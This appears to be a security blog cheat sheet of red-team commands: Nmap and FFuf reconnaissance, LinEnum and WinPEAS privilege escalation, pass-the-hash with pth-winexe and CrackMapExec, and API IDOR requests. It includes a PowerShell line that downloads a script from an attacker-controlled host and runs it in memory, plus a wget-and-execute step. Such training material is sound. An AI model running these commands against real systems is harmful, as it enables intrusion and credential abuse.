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Introduction:
In the dynamic landscape of cybersecurity, red team operators emulate sophisticated adversaries to uncover and exploit vulnerabilities before malicious actors can. Mastering a core set of commands and tools is fundamental to conducting effective penetration tests, vulnerability assessments, and adversary simulations, moving beyond theory into practical, hands-on exploitation.
Learning Objectives:
- Understand and apply critical commands for reconnaissance, exploitation, and post-exploitation on both Linux and Windows systems.
- Learn to utilize essential security tools for vulnerability scanning, privilege escalation, and lateral movement.
- Develop a methodology for hardening systems against the very techniques used by offensive security professionals.
You Should Know:
1. Network Reconnaissance with Nmap
Nmap is the undisputed king of network discovery and security auditing. It is used to discover hosts and services on a computer network by sending packets and analyzing the responses.
Basic TCP SYN scan on a target nmap -sS 192.168.1.100 Aggressive scan with OS detection, version detection, script scanning, and traceroute nmap -A 192.168.1.100 Scan a specific port range nmap -p 1-1000 192.168.1.100 Scan using a common NSE script for vulnerabilities nmap --script vuln 192.168.1.100 Scan an entire subnet nmap 192.168.1.0/24
Step-by-step guide: Begin with a simple `-sS` SYN scan, which is fast and relatively stealthy. For a more comprehensive assessment, use the `-A` flag to enable OS and version detection. Always follow up with Nmap Scripting Engine (NSE) scripts like `vuln` to automatically check for known vulnerabilities.
2. Vulnerability Scanning with Nessus
Nessus is a proprietary comprehensive vulnerability scanner. It uses a client-server architecture where the server performs the scans.
Starting the Nessus service on Linux sudo systemctl start nessusd Access via web browser https://localhost:8834
Step-by-step guide: After installing and starting the Nessus service, access the web interface. Create a new “Basic Network Scan” policy, input the target IP or range, and launch the scan. Analyze the report post-scan, prioritizing critical and high-severity findings for remediation.
3. Web Application Fuzzing with FFuf
FFuf is a fast web fuzzer written in Go that finds hidden directories, files, and parameters.
Directory fuzzing ffuf -w /usr/share/wordlists/dirb/common.txt -u http://target.com/FUZZ Parameter fuzzing ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/burp-parameter-names.txt -u http://target.com/script.php?FUZZ=test Subdomain enumeration ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt -u http://FUZZ.target.com
Step-by-step guide: Use a quality wordlist like `common.txt` or one from the `SecLists` repository. The `-w` flag specifies the wordlist, and `FUZZ` is the placeholder replaced by each word. Filter out common false positives using `-fs` (filter by size) or `-fc` (filter by HTTP code).
4. Privilege Escalation on Linux
Post-initial compromise, escalating privileges is often necessary. The LinEnum script is a classic tool for this.
Download and run LinEnum.sh wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh chmod +x LinEnum.sh ./LinEnum.sh Check for SUID binaries find / -perm -u=s -type f 2>/dev/null Check sudo permissions sudo -l
Step-by-step guide: After gaining a foothold, transfer and execute LinEnum.sh. It automates checks for common misconfigurations like SUID/GUID files, world-writable directories, cron jobs, and more. Manually verify its findings, especially exploitable SUID binaries and user sudo rights.
5. Privilege Escalation on Windows
Windows environments have their own set of common privilege escalation vectors. WinPEAS and PowerUp are essential tools.
Execute WinPEAS from memory (PowerShell)
IEX(New-Object Net.WebClient).DownloadString('http://your-ip/WinPEAS.ps1'); Invoke-WinPEAS
Check for unquoted service paths
sc query
sc qc "ServiceName"
Check AlwaysInstallElevated registry keys
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Step-by-step guide: Run WinPEAS, which will perform numerous checks automatically. Pay close attention to writable service binaries, unquoted service paths, vulnerable drivers, and cleartext passwords. Manually verify registry keys for AlwaysInstallElevated, which allows non-admin users to install MSI packages as SYSTEM.
6. Lateral Movement with Pass-the-Hash
The Pass-the-Hash (PtH) technique allows an attacker to authenticate to a remote system using the underlying NTLM or LM hash of a user’s password, without needing the plaintext.
Using pth-winexe from the Passing-The-Hash toolkit pth-winexe -U Administrator%aad3b435b51404eeaad3b435b51404ee:NT_HASH_HERE //target_ip cmd Using CrackMapExec for PtH across a network crackmapexec smb 192.168.1.0/24 -u Administrator -H NT_HASH_HERE --local-auth
Step-by-step guide: To perform PtH, you first need to dump the NTLM hashes from a compromised machine (e.g., using secretsdump.py). Once you have a privileged user’s hash, use a tool like `pth-winexe` or `crackmapexec` to execute commands on other systems in the network where that user has access, without ever knowing their plaintext password.
7. API Security Testing with Postman
Modern applications rely heavily on APIs, which are prime targets. Postman can be used to test API endpoints for common vulnerabilities.
Example of testing for Broken Object Level Control (BOLC) Original request for user 1001 GET /api/v1/users/1001 HTTP/1.1 Host: api.target.com Authorization: Bearer <your_token> Attack: Change the user ID to 1000 GET /api/v1/users/1000 HTTP/1.1 Host: api.target.com Authorization: Bearer <your_token> Testing for excessive data exposure GET /api/v1/users/me HTTP/1.1 Host: api.target.com Authorization: Bearer <your_token> Check if the response contains unnecessary sensitive data.
Step-by-step guide: Use Postman to craft and send HTTP requests. Test for IDOR by changing object identifiers in URLs or request bodies. Check for mass assignment by adding unexpected parameters to POST/PUT requests. Analyze responses for information leakage, such as excessive data in user profile objects.
What Undercode Say:
- Practical Proficiency Trumps Theoretical Knowledge: The ability to rapidly deploy and correctly interpret the output of these tools is what separates effective red teamers from script kiddies. Mastery is not just about knowing the command, but understanding the context of its output and the underlying system mechanics it reveals.
- The Defender’s Blueprint is the Attacker’s Playbook: Every command and technique listed for offensive purposes has a direct defensive counterpart. Monitoring for Nmap scans, auditing for SUID binaries, disabling NTLM authentication, and implementing proper API authorization are all defensive measures born from understanding offensive tactics.
The ongoing evolution of these tools and techniques signifies a shift towards automation and integration within security workflows. For professionals, this means that foundational command-line skills must now be supplemented with an understanding of how to orchestrate these tools at scale, using scripting and automation frameworks, to keep pace with both the expanding attack surface and the sophistication of adversaries.
Prediction:
The increasing abstraction of infrastructure through serverless computing and containers, combined with the pervasive use of AI-generated code, will introduce a new class of vulnerabilities that existing memory corruption and input validation tools cannot easily detect. We will see a rise in “logic bomb” attacks targeting AI training data and supply chains, forcing red teams to develop entirely new skill sets focused on probabilistic system behavior and data integrity attacks, moving beyond traditional network and OS-level exploitation. The tools of tomorrow will need to audit code not just for syntax, but for intent and potential adversarial manipulation of machine learning models.
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IT/Security Reporter URL:
Reported By: 0xfrost Binary – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
